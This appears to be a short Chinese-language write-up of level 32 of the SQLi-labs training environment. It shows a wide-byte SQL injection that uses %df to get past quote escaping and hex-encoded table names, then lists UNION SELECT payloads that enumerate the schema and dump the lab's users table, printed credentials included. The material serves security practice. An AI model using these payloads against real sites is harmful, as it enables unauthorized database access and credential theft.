理解一个内容,不光要从他的定义原理来说明,还要从一个实际的操作,加深记忆
目标sqlilabas第32关
首先正常的访问页面,输入id=1,看页面的反应
继续输入id=1' 发现页面没有变化,说明代码把'注释掉了
利用16进制转换绕过,发现是存在注入的
后面就可以利用union联合查询了 id=-1%df' union select 1,database(),3--+
很简单的得到了数据库的名称security
因为注入内容里面存在引号就会被注释掉,那么直接把后面的名字直接转换成16进制的字符串,加上0x这样数据库就能识别,就选users表,查看users表的字段
id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479--+
下一步就是查询users表的数据(不一个个表和字段写了,随便写了一个)
id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273 and table_schema=0x7365637572697479--+
字段也查出来了,现在可以查询users表的数据了
id=-1%df' union select 1,group_concat(id,username,password),3 from users--+
users表的数据
1DumbDumb,
2AngelinaI-kill-you,
3Dummyp@ssword,
4securecrappy,
5stupidstupidity,
6supermangenious,
7batmanmob!le,
8adminadmin,
9admin1admin1,
10admin2admin2,
11admin3admin3,
12dhakkandumbo,
14admin4admin4
其实后面的步骤都一样的,关键就是一定要记住在注入的时候尝试,以及0x16进制的使用,还有中和代码的注释%df